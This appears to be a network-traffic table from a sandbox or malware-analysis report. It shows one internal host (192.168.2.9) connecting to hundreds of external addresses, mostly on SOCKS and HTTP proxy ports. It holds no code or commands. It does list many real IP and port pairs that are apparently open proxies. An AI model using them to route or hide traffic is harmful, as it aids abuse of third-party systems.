Mar 11, 2024 15:21:02.293833017 CET	49866	8080	192.168.2.9	125.212.231.220
Mar 11, 2024 15:21:02.293857098 CET	49808	63452	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:02.293860912 CET	49802	42214	192.168.2.9	167.86.69.142
Mar 11, 2024 15:21:02.293867111 CET	49995	80	192.168.2.9	50.218.224.35
Mar 11, 2024 15:21:02.294043064 CET	49807	64110	192.168.2.9	164.92.86.113
Mar 11, 2024 15:21:02.294766903 CET	5678	50411	80.90.83.191	192.168.2.9
Mar 11, 2024 15:21:02.297132015 CET	4145	50182	24.249.199.12	192.168.2.9
Mar 11, 2024 15:21:02.297558069 CET	4145	50620	68.71.247.130	192.168.2.9
Mar 11, 2024 15:21:02.298803091 CET	8193	50088	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.298818111 CET	8193	50088	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.298984051 CET	50088	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.300477028 CET	14066	50351	139.59.90.148	192.168.2.9
Mar 11, 2024 15:21:02.301002026 CET	4145	50291	101.51.196.145	192.168.2.9
Mar 11, 2024 15:21:02.302077055 CET	4145	50200	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:02.302217007 CET	4145	50200	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:02.303103924 CET	25154	50288	159.223.166.21	192.168.2.9
Mar 11, 2024 15:21:02.303435087 CET	50374	3128	192.168.2.9	47.229.171.150
Mar 11, 2024 15:21:02.303483009 CET	50395	1388	192.168.2.9	87.126.65.11
Mar 11, 2024 15:21:02.303491116 CET	50388	31145	192.168.2.9	195.138.73.54
Mar 11, 2024 15:21:02.303498983 CET	4145	50631	162.253.68.97	192.168.2.9
Mar 11, 2024 15:21:02.304193974 CET	50867	37443	192.168.2.9	207.180.198.241
Mar 11, 2024 15:21:02.304207087 CET	50866	80	192.168.2.9	20.206.106.192
Mar 11, 2024 15:21:02.304361105 CET	50868	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:02.304624081 CET	50870	80	192.168.2.9	165.231.101.229
Mar 11, 2024 15:21:02.304714918 CET	50869	8080	192.168.2.9	5.187.9.10
Mar 11, 2024 15:21:02.304780006 CET	50088	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.304929018 CET	4145	50243	74.119.144.60	192.168.2.9
Mar 11, 2024 15:21:02.304941893 CET	4145	50243	74.119.144.60	192.168.2.9
Mar 11, 2024 15:21:02.305119038 CET	80	50568	50.172.218.164	192.168.2.9
Mar 11, 2024 15:21:02.305898905 CET	15673	50099	47.242.15.120	192.168.2.9
Mar 11, 2024 15:21:02.306128979 CET	3128	49715	122.155.165.191	192.168.2.9
Mar 11, 2024 15:21:02.306391001 CET	50872	80	192.168.2.9	89.36.114.38
Mar 11, 2024 15:21:02.306453943 CET	50871	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.306663036 CET	50873	4145	192.168.2.9	74.119.144.60
Mar 11, 2024 15:21:02.306936026 CET	50874	16487	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.308567047 CET	4145	50520	184.181.217.213	192.168.2.9
Mar 11, 2024 15:21:02.308835983 CET	50520	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:02.309097052 CET	50520	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:02.309437990 CET	50032	8889	192.168.2.9	216.176.187.99
Mar 11, 2024 15:21:02.309453964 CET	49996	25427	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:02.309472084 CET	49941	8123	192.168.2.9	20.205.61.143
Mar 11, 2024 15:21:02.309473991 CET	49805	80	192.168.2.9	188.165.213.106
Mar 11, 2024 15:21:02.309473991 CET	49813	8080	192.168.2.9	103.245.16.133
Mar 11, 2024 15:21:02.309490919 CET	49809	8080	192.168.2.9	103.130.82.46
Mar 11, 2024 15:21:02.309545994 CET	49816	80	192.168.2.9	217.182.210.152
Mar 11, 2024 15:21:02.311002970 CET	50875	58285	192.168.2.9	144.91.66.30
Mar 11, 2024 15:21:02.311101913 CET	80	50252	104.25.135.170	192.168.2.9
Mar 11, 2024 15:21:02.311372042 CET	50876	4145	192.168.2.9	192.12.113.232
Mar 11, 2024 15:21:02.311628103 CET	80	50269	104.25.108.120	192.168.2.9
Mar 11, 2024 15:21:02.311640978 CET	50878	8080	192.168.2.9	14.207.41.71
Mar 11, 2024 15:21:02.311649084 CET	50877	15673	192.168.2.9	43.133.74.172
Mar 11, 2024 15:21:02.311945915 CET	15673	50099	47.242.15.120	192.168.2.9
Mar 11, 2024 15:21:02.311959028 CET	50879	9039	192.168.2.9	67.43.227.228
Mar 11, 2024 15:21:02.312542915 CET	50881	1080	192.168.2.9	103.47.93.225
Mar 11, 2024 15:21:02.312549114 CET	50880	38801	192.168.2.9	113.101.255.100
Mar 11, 2024 15:21:02.313007116 CET	50882	9002	192.168.2.9	120.234.203.171
Mar 11, 2024 15:21:02.313057899 CET	50883	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:02.314229965 CET	50885	80	192.168.2.9	50.239.72.19
Mar 11, 2024 15:21:02.314404964 CET	50884	80	192.168.2.9	3.127.62.252
Mar 11, 2024 15:21:02.314424992 CET	80	50452	104.16.224.33	192.168.2.9
Mar 11, 2024 15:21:02.314471006 CET	80	50452	104.16.224.33	192.168.2.9
Mar 11, 2024 15:21:02.314640999 CET	49962	80	192.168.2.9	50.173.140.149
Mar 11, 2024 15:21:02.315330029 CET	80	50452	104.16.224.33	192.168.2.9
Mar 11, 2024 15:21:02.315366983 CET	50452	80	192.168.2.9	104.16.224.33
Mar 11, 2024 15:21:02.315540075 CET	50452	80	192.168.2.9	104.16.224.33
Mar 11, 2024 15:21:02.318414927 CET	80	50459	104.25.42.178	192.168.2.9
Mar 11, 2024 15:21:02.318428993 CET	80	50459	104.25.42.178	192.168.2.9
Mar 11, 2024 15:21:02.318588972 CET	80	50459	104.25.42.178	192.168.2.9
Mar 11, 2024 15:21:02.318974018 CET	50459	80	192.168.2.9	104.25.42.178
Mar 11, 2024 15:21:02.319303989 CET	50459	80	192.168.2.9	104.25.42.178
Mar 11, 2024 15:21:02.319417000 CET	8193	50091	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.319716930 CET	80	50500	50.222.245.50	192.168.2.9
Mar 11, 2024 15:21:02.319813013 CET	50091	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.319909096 CET	50091	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.320249081 CET	8193	50091	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.320383072 CET	80	50247	162.159.242.109	192.168.2.9
Mar 11, 2024 15:21:02.320846081 CET	80	50659	172.67.182.38	192.168.2.9
Mar 11, 2024 15:21:02.320859909 CET	80	50476	134.209.189.42	192.168.2.9
Mar 11, 2024 15:21:02.320955992 CET	50659	80	192.168.2.9	172.67.182.38
Mar 11, 2024 15:21:02.320959091 CET	50476	80	192.168.2.9	134.209.189.42
Mar 11, 2024 15:21:02.321748018 CET	50659	80	192.168.2.9	172.67.182.38
Mar 11, 2024 15:21:02.321751118 CET	50476	80	192.168.2.9	134.209.189.42
Mar 11, 2024 15:21:02.325076103 CET	49810	4145	192.168.2.9	197.234.13.6
Mar 11, 2024 15:21:02.325079918 CET	49882	999	192.168.2.9	106.75.174.172
Mar 11, 2024 15:21:02.325098038 CET	49814	55438	192.168.2.9	36.255.211.1
Mar 11, 2024 15:21:02.325105906 CET	49812	8080	192.168.2.9	102.68.128.218
Mar 11, 2024 15:21:02.325114012 CET	49823	8089	192.168.2.9	113.223.213.242
Mar 11, 2024 15:21:02.325114012 CET	49825	4153	192.168.2.9	213.135.234.101
Mar 11, 2024 15:21:02.325136900 CET	49820	8080	192.168.2.9	103.167.68.255
Mar 11, 2024 15:21:02.325164080 CET	50023	1581	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:02.326263905 CET	50886	8080	192.168.2.9	95.217.137.46
Mar 11, 2024 15:21:02.326323032 CET	3128	50412	103.42.57.13	192.168.2.9
Mar 11, 2024 15:21:02.326585054 CET	50888	9090	192.168.2.9	189.240.60.166
Mar 11, 2024 15:21:02.326611042 CET	50887	80	192.168.2.9	107.148.201.157
Mar 11, 2024 15:21:02.326634884 CET	50412	3128	192.168.2.9	103.42.57.13
Mar 11, 2024 15:21:02.326823950 CET	50412	3128	192.168.2.9	103.42.57.13
Mar 11, 2024 15:21:02.326915026 CET	50889	999	192.168.2.9	187.189.175.136
Mar 11, 2024 15:21:02.327282906 CET	50890	1976	192.168.2.9	41.65.236.52
Mar 11, 2024 15:21:02.327285051 CET	50891	9090	192.168.2.9	189.240.60.168
Mar 11, 2024 15:21:02.327485085 CET	50892	58053	192.168.2.9	195.177.217.131
Mar 11, 2024 15:21:02.327723980 CET	50893	4153	192.168.2.9	92.51.78.66
Mar 11, 2024 15:21:02.327933073 CET	50894	38832	192.168.2.9	128.199.196.31
Mar 11, 2024 15:21:02.327940941 CET	50896	8080	192.168.2.9	66.211.155.34
Mar 11, 2024 15:21:02.328039885 CET	50895	8111	192.168.2.9	84.241.188.138
Mar 11, 2024 15:21:02.328171015 CET	50897	8118	192.168.2.9	94.23.84.25
Mar 11, 2024 15:21:02.328360081 CET	50898	3629	192.168.2.9	14.115.106.116
Mar 11, 2024 15:21:02.328653097 CET	50900	20962	192.168.2.9	148.66.130.187
Mar 11, 2024 15:21:02.328655005 CET	50899	40033	192.168.2.9	131.72.68.164
Mar 11, 2024 15:21:02.330025911 CET	8000	49835	142.93.2.226	192.168.2.9
Mar 11, 2024 15:21:02.330571890 CET	4145	50434	119.82.242.58	192.168.2.9
Mar 11, 2024 15:21:02.332187891 CET	1080	50577	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:02.332295895 CET	50577	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:02.338260889 CET	1080	49903	171.247.245.221	192.168.2.9
Mar 11, 2024 15:21:02.338618040 CET	50902	80	192.168.2.9	141.147.9.254
Mar 11, 2024 15:21:02.338798046 CET	3128	50467	213.131.230.161	192.168.2.9
Mar 11, 2024 15:21:02.338800907 CET	50577	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:02.338907957 CET	50901	6969	192.168.2.9	103.199.155.18
Mar 11, 2024 15:21:02.339541912 CET	50903	4145	192.168.2.9	45.70.237.134
Mar 11, 2024 15:21:02.339541912 CET	50904	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.339786053 CET	4145	50182	24.249.199.12	192.168.2.9
Mar 11, 2024 15:21:02.339845896 CET	18762	50296	192.111.137.37	192.168.2.9
Mar 11, 2024 15:21:02.339976072 CET	18762	50296	192.111.137.37	192.168.2.9
Mar 11, 2024 15:21:02.340725899 CET	49819	1111	192.168.2.9	103.189.249.196
Mar 11, 2024 15:21:02.340732098 CET	50037	3128	192.168.2.9	84.17.35.129
Mar 11, 2024 15:21:02.340734005 CET	50031	22611	192.168.2.9	67.43.227.228
Mar 11, 2024 15:21:02.340734005 CET	49824	37758	192.168.2.9	37.32.98.160
Mar 11, 2024 15:21:02.340735912 CET	50905	3080	192.168.2.9	149.154.69.203
Mar 11, 2024 15:21:02.340776920 CET	49827	9812	192.168.2.9	12.7.109.1
Mar 11, 2024 15:21:02.340955019 CET	50033	19403	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:02.340956926 CET	49822	1080	192.168.2.9	45.128.135.253
Mar 11, 2024 15:21:02.340967894 CET	25137	50615	92.204.136.149	192.168.2.9
Mar 11, 2024 15:21:02.340986013 CET	4145	50570	184.181.217.206	192.168.2.9
Mar 11, 2024 15:21:02.341648102 CET	50906	80	192.168.2.9	20.218.123.227
Mar 11, 2024 15:21:02.341651917 CET	50907	4145	192.168.2.9	24.249.199.12
Mar 11, 2024 15:21:02.341738939 CET	50570	4145	192.168.2.9	184.181.217.206
Mar 11, 2024 15:21:02.342672110 CET	50909	56427	192.168.2.9	161.97.170.82
Mar 11, 2024 15:21:02.342905998 CET	50910	8083	192.168.2.9	196.20.125.145
Mar 11, 2024 15:21:02.342937946 CET	50570	4145	192.168.2.9	184.181.217.206
Mar 11, 2024 15:21:02.343394041 CET	50908	56740	192.168.2.9	66.248.237.179
Mar 11, 2024 15:21:02.343396902 CET	50911	18762	192.168.2.9	192.111.137.37
Mar 11, 2024 15:21:02.343425035 CET	15673	50123	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:02.343559027 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:02.344567060 CET	50913	62645	192.168.2.9	66.84.6.21
Mar 11, 2024 15:21:02.344700098 CET	50912	8989	192.168.2.9	182.253.66.148
Mar 11, 2024 15:21:02.345427990 CET	4153	50405	175.101.15.41	192.168.2.9
Mar 11, 2024 15:21:02.345437050 CET	50914	80	192.168.2.9	43.231.22.228
Mar 11, 2024 15:21:02.345647097 CET	50915	60080	192.168.2.9	87.255.200.108
Mar 11, 2024 15:21:02.346088886 CET	50916	34405	192.168.2.9	212.110.188.216
Mar 11, 2024 15:21:02.346937895 CET	50918	58211	192.168.2.9	51.161.99.113
Mar 11, 2024 15:21:02.346939087 CET	50917	5585	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:02.346971035 CET	3128	50523	18.134.236.231	192.168.2.9
Mar 11, 2024 15:21:02.347023964 CET	50919	80	192.168.2.9	203.171.19.99
Mar 11, 2024 15:21:02.347106934 CET	50523	3128	192.168.2.9	18.134.236.231
Mar 11, 2024 15:21:02.347548962 CET	15673	50123	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:02.347583055 CET	50523	3128	192.168.2.9	18.134.236.231
Mar 11, 2024 15:21:02.347919941 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:02.348047018 CET	50920	10983	192.168.2.9	51.38.63.124
Mar 11, 2024 15:21:02.348380089 CET	50107	999	192.168.2.9	45.181.123.151
Mar 11, 2024 15:21:02.348572969 CET	3128	50483	213.17.246.46	192.168.2.9
Mar 11, 2024 15:21:02.348612070 CET	50921	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:02.348699093 CET	50483	3128	192.168.2.9	213.17.246.46
Mar 11, 2024 15:21:02.348815918 CET	18031	50625	72.10.160.91	192.168.2.9
Mar 11, 2024 15:21:02.348839998 CET	50922	11339	192.168.2.9	67.43.228.251
Mar 11, 2024 15:21:02.348947048 CET	50483	3128	192.168.2.9	213.17.246.46
Mar 11, 2024 15:21:02.349457026 CET	52929	50613	92.204.134.38	192.168.2.9
Mar 11, 2024 15:21:02.349492073 CET	50923	5678	192.168.2.9	36.66.133.19
Mar 11, 2024 15:21:02.349581003 CET	50613	52929	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.349752903 CET	50924	8082	192.168.2.9	122.54.147.110
Mar 11, 2024 15:21:02.349862099 CET	50613	52929	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.350203991 CET	80	50550	50.218.57.66	192.168.2.9
Mar 11, 2024 15:21:02.350403070 CET	80	50292	104.24.136.68	192.168.2.9
Mar 11, 2024 15:21:02.350513935 CET	80	50283	172.67.181.149	192.168.2.9
Mar 11, 2024 15:21:02.350821972 CET	19001	50508	8.210.8.157	192.168.2.9
Mar 11, 2024 15:21:02.350996971 CET	50925	80	192.168.2.9	134.122.26.11
Mar 11, 2024 15:21:02.351109028 CET	50926	3128	192.168.2.9	103.159.194.191
Mar 11, 2024 15:21:02.351444960 CET	80	50473	185.162.231.254	192.168.2.9
Mar 11, 2024 15:21:02.351459026 CET	80	50473	185.162.231.254	192.168.2.9
Mar 11, 2024 15:21:02.351689100 CET	50927	80	192.168.2.9	3.143.37.255
Mar 11, 2024 15:21:02.351758003 CET	50473	80	192.168.2.9	185.162.231.254
Mar 11, 2024 15:21:02.352170944 CET	80	50473	185.162.231.254	192.168.2.9
Mar 11, 2024 15:21:02.352205038 CET	50928	38351	192.168.2.9	115.75.5.17
Mar 11, 2024 15:21:02.352282047 CET	50473	80	192.168.2.9	185.162.231.254
Mar 11, 2024 15:21:02.352826118 CET	50929	8730	192.168.2.9	166.62.38.100
Mar 11, 2024 15:21:02.352848053 CET	50930	999	192.168.2.9	38.156.233.76
Mar 11, 2024 15:21:02.352992058 CET	50931	3129	192.168.2.9	20.219.177.73
Mar 11, 2024 15:21:02.353425980 CET	50932	8080	192.168.2.9	154.73.29.161
Mar 11, 2024 15:21:02.353559017 CET	18657	50633	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.353666067 CET	50933	15587	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:02.353902102 CET	50934	8080	192.168.2.9	103.78.96.18
Mar 11, 2024 15:21:02.354182959 CET	80	50683	104.23.141.196	192.168.2.9
Mar 11, 2024 15:21:02.354218960 CET	50935	53281	192.168.2.9	88.119.139.237
Mar 11, 2024 15:21:02.354298115 CET	50683	80	192.168.2.9	104.23.141.196
Mar 11, 2024 15:21:02.354408026 CET	50936	33192	192.168.2.9	217.21.148.50
Mar 11, 2024 15:21:02.354528904 CET	50683	80	192.168.2.9	104.23.141.196
Mar 11, 2024 15:21:02.354806900 CET	50937	3128	192.168.2.9	86.107.178.103
Mar 11, 2024 15:21:02.355448008 CET	50938	80	192.168.2.9	190.103.177.131
Mar 11, 2024 15:21:02.356086969 CET	50939	8080	192.168.2.9	46.209.207.151
Mar 11, 2024 15:21:02.356322050 CET	49826	8080	192.168.2.9	188.132.222.194
Mar 11, 2024 15:21:02.356334925 CET	49971	8080	192.168.2.9	78.47.103.89
Mar 11, 2024 15:21:02.356343985 CET	50046	8197	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:02.356344938 CET	49829	8090	192.168.2.9	182.160.103.220
Mar 11, 2024 15:21:02.356347084 CET	49911	1080	192.168.2.9	168.138.162.66
Mar 11, 2024 15:21:02.356396914 CET	49831	10710	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:02.357505083 CET	80	50511	188.40.44.95	192.168.2.9
Mar 11, 2024 15:21:02.357636929 CET	50511	80	192.168.2.9	188.40.44.95
Mar 11, 2024 15:21:02.357887030 CET	50511	80	192.168.2.9	188.40.44.95
Mar 11, 2024 15:21:02.360227108 CET	80	50549	50.174.7.157	192.168.2.9
Mar 11, 2024 15:21:02.361006021 CET	15673	50138	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:02.362488985 CET	11691	49845	72.10.160.90	192.168.2.9
Mar 11, 2024 15:21:02.367677927 CET	8080	49947	103.148.51.19	192.168.2.9
Mar 11, 2024 15:21:02.367693901 CET	8080	49947	103.148.51.19	192.168.2.9
Mar 11, 2024 15:21:02.367734909 CET	8080	49947	103.148.51.19	192.168.2.9
Mar 11, 2024 15:21:02.367816925 CET	49947	8080	192.168.2.9	103.148.51.19
Mar 11, 2024 15:21:02.368005037 CET	49947	8080	192.168.2.9	103.148.51.19
Mar 11, 2024 15:21:02.368072033 CET	80	50303	104.17.66.69	192.168.2.9
Mar 11, 2024 15:21:02.368513107 CET	8089	50466	114.231.42.97	192.168.2.9
Mar 11, 2024 15:21:02.368835926 CET	50940	80	192.168.2.9	3.24.178.81
Mar 11, 2024 15:21:02.369510889 CET	50941	1080	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:02.369512081 CET	50942	80	192.168.2.9	50.172.75.126
Mar 11, 2024 15:21:02.369678974 CET	50943	999	192.168.2.9	179.1.133.33
Mar 11, 2024 15:21:02.369884014 CET	80	50342	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:02.369916916 CET	50945	41878	192.168.2.9	213.226.11.149
Mar 11, 2024 15:21:02.369920969 CET	50944	23685	192.168.2.9	67.43.227.230
Mar 11, 2024 15:21:02.369931936 CET	80	50716	104.23.126.8	192.168.2.9
Mar 11, 2024 15:21:02.369967937 CET	50342	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:02.370004892 CET	50716	80	192.168.2.9	104.23.126.8
Mar 11, 2024 15:21:02.370111942 CET	50342	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:02.370327950 CET	50716	80	192.168.2.9	104.23.126.8
Mar 11, 2024 15:21:02.370611906 CET	50948	7176	192.168.2.9	128.199.221.91
Mar 11, 2024 15:21:02.370747089 CET	50947	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:02.371023893 CET	50949	3199	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:02.371179104 CET	50950	6666	192.168.2.9	188.255.220.110
Mar 11, 2024 15:21:02.371325016 CET	50951	999	192.168.2.9	181.191.75.133
Mar 11, 2024 15:21:02.371371031 CET	80	50719	173.245.49.27	192.168.2.9
Mar 11, 2024 15:21:02.371491909 CET	50719	80	192.168.2.9	173.245.49.27
Mar 11, 2024 15:21:02.371562958 CET	50952	3128	192.168.2.9	172.105.107.223
Mar 11, 2024 15:21:02.371598959 CET	15673	50138	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:02.371727943 CET	50719	80	192.168.2.9	173.245.49.27
Mar 11, 2024 15:21:02.371892929 CET	80	49992	35.72.118.126	192.168.2.9
Mar 11, 2024 15:21:02.371963978 CET	49841	8560	192.168.2.9	92.205.28.245
Mar 11, 2024 15:21:02.371969938 CET	49785	999	192.168.2.9	181.209.78.75
Mar 11, 2024 15:21:02.371969938 CET	49836	8899	192.168.2.9	66.228.140.209
Mar 11, 2024 15:21:02.371980906 CET	50053	10677	192.168.2.9	72.10.160.173
Mar 11, 2024 15:21:02.372035027 CET	80	50342	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:02.372042894 CET	49832	40571	192.168.2.9	216.10.242.18
Mar 11, 2024 15:21:02.372136116 CET	49920	3128	192.168.2.9	77.77.64.116
Mar 11, 2024 15:21:02.372236013 CET	80	50505	186.124.164.213	192.168.2.9
Mar 11, 2024 15:21:02.372483015 CET	50505	80	192.168.2.9	186.124.164.213
Mar 11, 2024 15:21:02.372689962 CET	9080	50345	38.54.6.39	192.168.2.9
Mar 11, 2024 15:21:02.372736931 CET	50953	80	192.168.2.9	193.136.97.17
Mar 11, 2024 15:21:02.372811079 CET	50505	80	192.168.2.9	186.124.164.213
Mar 11, 2024 15:21:02.373164892 CET	50954	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:02.373164892 CET	50955	4145	192.168.2.9	1.2.209.194
Mar 11, 2024 15:21:02.373327017 CET	50956	38588	192.168.2.9	198.12.253.239
Mar 11, 2024 15:21:02.373455048 CET	50957	2829	192.168.2.9	117.69.234.40
Mar 11, 2024 15:21:02.373604059 CET	50958	1981	192.168.2.9	154.236.179.235
Mar 11, 2024 15:21:02.373744965 CET	50959	4145	192.168.2.9	101.109.170.182
Mar 11, 2024 15:21:02.373895884 CET	50961	80	192.168.2.9	94.130.94.45
Mar 11, 2024 15:21:02.373961926 CET	50960	80	192.168.2.9	147.139.140.74
Mar 11, 2024 15:21:02.374074936 CET	50962	34099	192.168.2.9	162.241.50.179
Mar 11, 2024 15:21:02.374238014 CET	50963	7070	192.168.2.9	104.250.117.48
Mar 11, 2024 15:21:02.374345064 CET	50965	80	192.168.2.9	50.174.145.11
Mar 11, 2024 15:21:02.374532938 CET	50964	80	192.168.2.9	51.210.127.15
Mar 11, 2024 15:21:02.374532938 CET	50966	80	192.168.2.9	172.67.181.147
Mar 11, 2024 15:21:02.374598026 CET	50967	3128	192.168.2.9	8.209.255.13
Mar 11, 2024 15:21:02.374783039 CET	50969	34071	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:02.374783039 CET	50968	46795	192.168.2.9	139.162.166.167
Mar 11, 2024 15:21:02.374980927 CET	50970	51918	192.168.2.9	162.214.90.49
Mar 11, 2024 15:21:02.375200033 CET	50971	7999	192.168.2.9	104.238.111.107
Mar 11, 2024 15:21:02.375201941 CET	50972	80	192.168.2.9	203.23.104.167
Mar 11, 2024 15:21:02.375473976 CET	80	50541	104.20.67.113	192.168.2.9
Mar 11, 2024 15:21:02.375535011 CET	80	50541	104.20.67.113	192.168.2.9
Mar 11, 2024 15:21:02.375550032 CET	80	50731	104.16.105.146	192.168.2.9
Mar 11, 2024 15:21:02.375672102 CET	80	50545	104.20.75.31	192.168.2.9
Mar 11, 2024 15:21:02.375684977 CET	80	50545	104.20.75.31	192.168.2.9
Mar 11, 2024 15:21:02.375706911 CET	50731	80	192.168.2.9	104.16.105.146
Mar 11, 2024 15:21:02.375873089 CET	50541	80	192.168.2.9	104.20.67.113
Mar 11, 2024 15:21:02.375874996 CET	50731	80	192.168.2.9	104.16.105.146
Mar 11, 2024 15:21:02.375987053 CET	80	50545	104.20.75.31	192.168.2.9
Mar 11, 2024 15:21:02.376017094 CET	50545	80	192.168.2.9	104.20.75.31
Mar 11, 2024 15:21:02.376039028 CET	50545	80	192.168.2.9	104.20.75.31
Mar 11, 2024 15:21:02.376395941 CET	50973	8888	192.168.2.9	154.64.219.2
Mar 11, 2024 15:21:02.376476049 CET	50974	43241	192.168.2.9	191.243.46.30
Mar 11, 2024 15:21:02.376701117 CET	50975	5310	192.168.2.9	27.79.88.138
Mar 11, 2024 15:21:02.376763105 CET	4145	50681	199.102.106.94	192.168.2.9
Mar 11, 2024 15:21:02.376806021 CET	1080	49903	171.247.245.221	192.168.2.9
Mar 11, 2024 15:21:02.376833916 CET	50976	37647	192.168.2.9	89.237.33.1
Mar 11, 2024 15:21:02.376934052 CET	80	50541	104.20.67.113	192.168.2.9
Mar 11, 2024 15:21:02.377032042 CET	50541	80	192.168.2.9	104.20.67.113
Mar 11, 2024 15:21:02.377034903 CET	50977	1080	192.168.2.9	209.45.102.164
Mar 11, 2024 15:21:02.377588987 CET	50979	8080	192.168.2.9	103.124.196.130
Mar 11, 2024 15:21:02.377588987 CET	50978	80	192.168.2.9	52.196.1.182
Mar 11, 2024 15:21:02.377696037 CET	50980	1080	192.168.2.9	171.247.245.221
Mar 11, 2024 15:21:02.377901077 CET	50982	61792	192.168.2.9	162.240.78.74
Mar 11, 2024 15:21:02.377902031 CET	50981	80	192.168.2.9	45.139.11.200
Mar 11, 2024 15:21:02.378103971 CET	50983	999	192.168.2.9	138.118.200.49
Mar 11, 2024 15:21:02.378106117 CET	50984	23471	192.168.2.9	138.201.21.228
Mar 11, 2024 15:21:02.378328085 CET	50985	58275	192.168.2.9	162.214.191.59
Mar 11, 2024 15:21:02.378405094 CET	50986	8080	192.168.2.9	176.98.81.85
Mar 11, 2024 15:21:02.378464937 CET	13351	49853	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:02.378597021 CET	50987	53281	192.168.2.9	200.54.194.13
Mar 11, 2024 15:21:02.378597021 CET	50988	80	192.168.2.9	104.20.233.70
Mar 11, 2024 15:21:02.378783941 CET	50989	29497	192.168.2.9	62.171.131.101
Mar 11, 2024 15:21:02.379009008 CET	50990	36694	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:02.379009962 CET	50991	8080	192.168.2.9	103.133.24.19
Mar 11, 2024 15:21:02.379221916 CET	50992	29992	192.168.2.9	165.227.104.122
Mar 11, 2024 15:21:02.379291058 CET	50993	8089	192.168.2.9	103.143.8.122
Mar 11, 2024 15:21:02.379370928 CET	50994	9999	192.168.2.9	81.200.155.125
Mar 11, 2024 15:21:02.379589081 CET	50995	1080	192.168.2.9	103.47.93.221
Mar 11, 2024 15:21:02.379895926 CET	50997	9091	192.168.2.9	222.179.155.90
Mar 11, 2024 15:21:02.380034924 CET	50998	8888	192.168.2.9	136.244.99.51
Mar 11, 2024 15:21:02.380239010 CET	51000	13574	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:02.380239964 CET	50996	38586	192.168.2.9	160.153.245.187
Mar 11, 2024 15:21:02.380243063 CET	50999	8080	192.168.2.9	89.42.166.163
Mar 11, 2024 15:21:02.380573034 CET	51001	80	192.168.2.9	50.174.7.159
Mar 11, 2024 15:21:02.380575895 CET	51002	3125	192.168.2.9	103.159.96.131
Mar 11, 2024 15:21:02.380955935 CET	51003	80	192.168.2.9	213.33.126.130
Mar 11, 2024 15:21:02.383506060 CET	49992	80	192.168.2.9	35.72.118.126
Mar 11, 2024 15:21:02.383513927 CET	50946	15864	192.168.2.9	192.252.214.20
Mar 11, 2024 15:21:02.384375095 CET	51004	5678	192.168.2.9	198.89.91.198
Mar 11, 2024 15:21:02.384742022 CET	51005	5678	192.168.2.9	46.231.72.35
Mar 11, 2024 15:21:02.385169983 CET	51006	8080	192.168.2.9	148.101.163.165
Mar 11, 2024 15:21:02.385427952 CET	51007	8080	192.168.2.9	188.132.222.44
Mar 11, 2024 15:21:02.385620117 CET	51009	8089	192.168.2.9	80.91.125.238
Mar 11, 2024 15:21:02.385620117 CET	51008	80	192.168.2.9	50.239.72.17
Mar 11, 2024 15:21:02.385647058 CET	80	50617	20.210.113.32	192.168.2.9
Mar 11, 2024 15:21:02.385708094 CET	8080	50522	185.247.224.85	192.168.2.9
Mar 11, 2024 15:21:02.385714054 CET	51010	3128	192.168.2.9	62.33.207.202
Mar 11, 2024 15:21:02.385838985 CET	9002	50003	220.248.70.237	192.168.2.9
Mar 11, 2024 15:21:02.385848999 CET	50522	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:02.386018991 CET	50522	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:02.386234999 CET	51011	80	192.168.2.9	104.24.220.52
Mar 11, 2024 15:21:02.386238098 CET	51012	5678	192.168.2.9	78.61.27.207
Mar 11, 2024 15:21:02.386460066 CET	51014	80	192.168.2.9	172.67.182.126
Mar 11, 2024 15:21:02.386545897 CET	51013	44387	192.168.2.9	148.72.215.230
